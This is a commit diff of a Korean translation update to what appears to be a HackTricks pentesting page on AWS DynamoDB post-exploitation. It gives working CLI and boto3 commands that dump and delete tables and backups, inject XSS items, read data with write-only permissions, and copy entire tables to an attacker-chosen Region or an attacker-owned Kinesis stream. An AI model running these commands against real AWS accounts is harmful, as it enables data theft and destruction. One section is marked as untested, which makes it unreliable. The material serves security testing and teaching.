mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+271
-37
@@ -1,4 +1,4 @@
|
||||
# AWS - DynamoDB 포스트 익스플로이테이션
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
이 권한을 가진 공격자는 **기본 키를 통해 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 요청할 수는 없습니다). 이는 기본 키를 알아야 함을 의미합니다 (테이블 메타데이터(`describe-table`)를 통해 이를 얻을 수 있습니다).
|
||||
이 권한을 가진 공격자는 **기본 키로 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알아야 합니다(테이블 메타데이터(`describe-table`)를 조회하면 알 수 있습니다).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공받아 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다:
|
||||
**이전 권한들과 유사하게** 이 권한은 잠재적 공격자가 항목을 조회하기 위한 기본 키(primary key)를 알고 있을 때 단일 테이블의 값을 읽을 수 있게 합니다:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
이 권한으로 **`transact-get-items`** 메서드를 다음과 같이 사용할 수 있습니다:
|
||||
이 권한으로 **`transact-get-items`** 메서드를 다음과 같이 사용할 수도 있습니다:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾음으로써 간접적인 권한 상승
|
||||
**잠재적 영향:** 테이블 내 민감한 정보를 찾아 간접적인 privesc로 이어질 수 있음
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**이전 권한과 유사하게** 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 주어진 경우 단 1개의 테이블에서 값을 읽을 수 있도록 허용합니다. [비교의 하위 집합](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키와 함께 허용되는 유일한 비교는 "EQ"이므로 요청에서 전체 DB를 가져오기 위한 비교를 사용할 수 없습니다.
|
||||
**이전 권한들과 유사하게** 이 권한은 공격자가 조회하려는 항목의 primary key(기본 키)가 주어졌을 때 단 하나의 테이블에서 값을 읽을 수 있게 해준다. 그것은 [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)를 사용할 수 있게 하지만, primary key(반드시 포함되어야 함)에 대해 허용되는 유일한 비교는 "EQ"이므로 요청 하나로 전체 DB를 가져오기 위해 비교 연산을 사용할 수 없다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접 privesc 가능
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
이 권한을 사용하여 **테이블 전체를 쉽게 덤프할 수 있습니다.**
|
||||
이 권한을 사용하면 **테이블 전체를 쉽게 dump**할 수 있습니다.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
이 권한을 사용하여 **전체 테이블을 쉽게 덤프할 수 있습니다**.
|
||||
이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
이 권한은 `batch-execute-statement`를 수행할 수 있도록 허용합니다:
|
||||
이 권한은 `batch-execute-statement`와 같은 작업을 수행할 수 있도록 허용합니다:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
하지만 기본 키와 값을 지정해야 하므로 그렇게 유용하지 않습니다.
|
||||
하지만 primary key에 값을 지정해야 해서, 그다지 유용하지 않다.
|
||||
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc로 이어질 수 있음
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
이 권한은 공격자가 **전체 테이블을 선택한 S3 버킷으로 내보낼 수** 있게 합니다:
|
||||
이 권한은 attacker가 **export the whole table to a S3 bucket**할 수 있게 한다:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
이 기능이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 활성화되어 있는지 확인하려면 다음을 사용하세요:
|
||||
이 작업이 동작하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 기능이 있는지 다음과 같이 확인할 수 있습니다:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
활성화되어 있지 않다면, **활성화해야** 하며, 이를 위해 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
|
||||
활성화되어 있지 않다면, **활성화해야 하며**, 이를 위해서는 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
**잠재적 영향:** 테이블에서 민감한 정보를 찾아내어 간접적인 privesc
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성**할 수 있습니다 (또는 백업을 생성한 후 다른 테이블에 복원할 수 있습니다). 그런 다음 필요한 권한이 있으면 **생산** 테이블에 더 이상 존재하지 않을 수 있는 **정보**를 백업에서 확인할 수 있습니다.
|
||||
이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성**할 수 있습니다 (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음 필요한 권한이 있다면, 그는 백업의 **정보**를 확인할 수 있으며, 그 정보는 **프로덕션 테이블에 더 이상 존재하지 않을 수 있는** 것들일 수 있습니다.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 간접적인 권한 상승
|
||||
**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 Indirect privesc를 초래할 수 있음
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, **전체 항목이** 새 항목으로 교체됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성**됩니다.
|
||||
이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 교체**할 수 있도록 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, **해당 항목 전체가 새 항목으로 대체됩니다**. 기본 키가 존재하지 않으면 지정된 기본 키를 가진 새 항목이 **생성됩니다**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** DynamoDB 테이블에서 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격이 발생할 수 있음
|
||||
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회가 악용될 수 있음
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록** 허용합니다. 전체 항목을 **대체하지** 않으며, 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다.
|
||||
이 권한은 사용자가 항목의 기존 속성을 **수정하거나 항목에 새로운 속성을 추가하는 것**을 허용합니다. 전체 항목을 **대체하지 않으며**, 지정된 속성들만 업데이트합니다. 테이블에 기본 키가 존재하지 않는 경우, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성들을 설정합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,11 +242,11 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있어 추가적인 취약점/우회 공격을 악용할 수 있습니다.
|
||||
**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되면 추가적인 vulnerabilities/bypasses를 악용할 수 있다
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다.**
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있다**
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
@@ -256,48 +256,282 @@ aws dynamodb delete-table \
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 백업을 삭제할 수 있으며, 이는 재해 복구 시나리오에서 데이터 손실을 초래할 수 있습니다**.
|
||||
이 권한을 가진 공격자는 **DynamoDB 백업을 삭제하여 재해 복구 시나리오에서 데이터 손실을 초래할 수 있습니다**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**잠재적 영향**: 데이터 손실 및 재해 복구 시나리오에서 백업으로 복구할 수 없음.
|
||||
**잠재적 영향**: 재해 복구 시나리오에서 백업으로부터 복구할 수 없어 데이터 손실이 발생할 수 있습니다.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 이게 실제로 작동하는지 테스트
|
||||
> TODO: 실제로 작동하는지 테스트 필요
|
||||
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하기 시작한 다음, 스트림에 접근하여 테이블의 변경 사항을 실시간으로 모니터링**할 수 있습니다. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 데이터 유출로 이어질 수 있습니다.
|
||||
이 권한을 가진 공격자는 **DynamoDB 테이블에서 스트림을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 다음 스트림에 접근하여 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이를 통해 공격자는 데이터 변경사항을 모니터링하고 exfiltrate할 수 있으며, 잠재적으로 data leakage로 이어질 수 있습니다.
|
||||
|
||||
1. DynamoDB 테이블에서 스트림 활성화:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. ARN 및 기타 세부정보를 얻기 위한 스트림 설명:
|
||||
2. ARN 및 기타 세부 정보를 얻기 위해 스트림을 설명합니다:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. 스트림 ARN을 사용하여 샤드 반복자 가져오기:
|
||||
3. stream ARN을 사용하여 shard iterator를 가져옵니다:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. 샤드 이터레이터를 사용하여 스트림에서 데이터에 접근하고 유출합니다:
|
||||
4. shard iterator를 사용하여 stream에서 데이터에 접근하고 exfiltrate합니다:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 데이터 유출.
|
||||
**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 data leakage.
|
||||
|
||||
### `dynamodb:UpdateItem` 및 `ReturnValues=ALL_OLD`로 항목 읽기
|
||||
|
||||
테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 사소한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이는 RCUs를 소모하지 않습니다).
|
||||
|
||||
- 최소 권한: 대상 테이블/키에 대한 `dynamodb:UpdateItem`.
|
||||
- 전제 조건: 항목의 기본 키를 알고 있어야 합니다.
|
||||
|
||||
Example (adds a harmless attribute and exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLI 응답에는 전체 이전 항목(모든 attributes)을 포함하는 `Attributes` 블록이 포함되며, 이로 인해 write-only access로부터 사실상 read primitive를 획득할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** 쓰기 권한만으로 테이블에서 임의의 항목을 읽을 수 있으며, primary keys가 알려진 경우 민감한 데이터의 exfiltration이 가능해집니다.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
새로운 리플리카 Region을 DynamoDB Global Table (version 2019.11.21)에 추가하여 은밀하게 exfiltration을 수행할 수 있습니다. principal이 리전 리플리카를 추가할 수 있다면, 전체 테이블이 공격자가 선택한 Region으로 복제되어 공격자는 해당 Region에서 모든 항목을 읽을 수 있습니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에 CMK가 사용되는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다.
|
||||
|
||||
잠재적 영향: 전체 테이블이 attacker-controlled Region으로 복제되어 stealthy data exfiltration로 이어질 수 있습니다.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (실패한 조건을 통한 읽기 + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
트랜잭셔널 쓰기 권한을 가진 attacker는 `TransactWriteItems` 내부에서 `Update`를 수행하고 의도적으로 `ConditionExpression`을 실패시키며 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 exfiltrate할 수 있습니다. 실패 시, DynamoDB는 트랜잭션 취소 사유에 이전 속성을 포함하므로, 특정 키에 대한 쓰기 전용 액세스를 사실상 읽기 액세스로 전환합니다.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
|
||||
Potential Impact: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블의 임의 항목(기본 키로)을 읽을 수 있음.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
저엔트로피 속성에 `ProjectionType=ALL`로 Global Secondary Index (GSI)를 생성하고, 해당 속성 값을 모든 항목에 대해 상수로 설정한 다음 인덱스를 `Query`하여 전체 항목을 가져오면 읽기 제한을 우회할 수 있다. 이 방법은 기본 테이블에 대한 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있으면 작동한다.
|
||||
|
||||
- Minimum permissions:
|
||||
- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL`로 GSI를 생성하기 위해).
|
||||
- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱스된 속성을 설정하기 위해).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Steps (PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potential Impact:** 기본 테이블 읽기 API가 거부된 경우에도, 모든 속성을 프로젝션하는 새로 생성된 GSI를 쿼리하여 Full table exfiltration이 발생할 수 있음.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams를 통한 지속적인 exfiltration)
|
||||
|
||||
DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 공격자가 제어하는 Kinesis Data Stream으로 지속적으로 exfiltrate함. 일단 활성화되면, 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블에 대한 읽기 권한 없이도 거의 실시간으로 스트림으로 전달됨.
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**잠재적 영향:** 테이블 변경 사항을 공격자가 제어하는 Kinesis 스트림으로 직접 테이블 읽기 작업 없이 지속적이고 거의 실시간으로 exfiltration할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user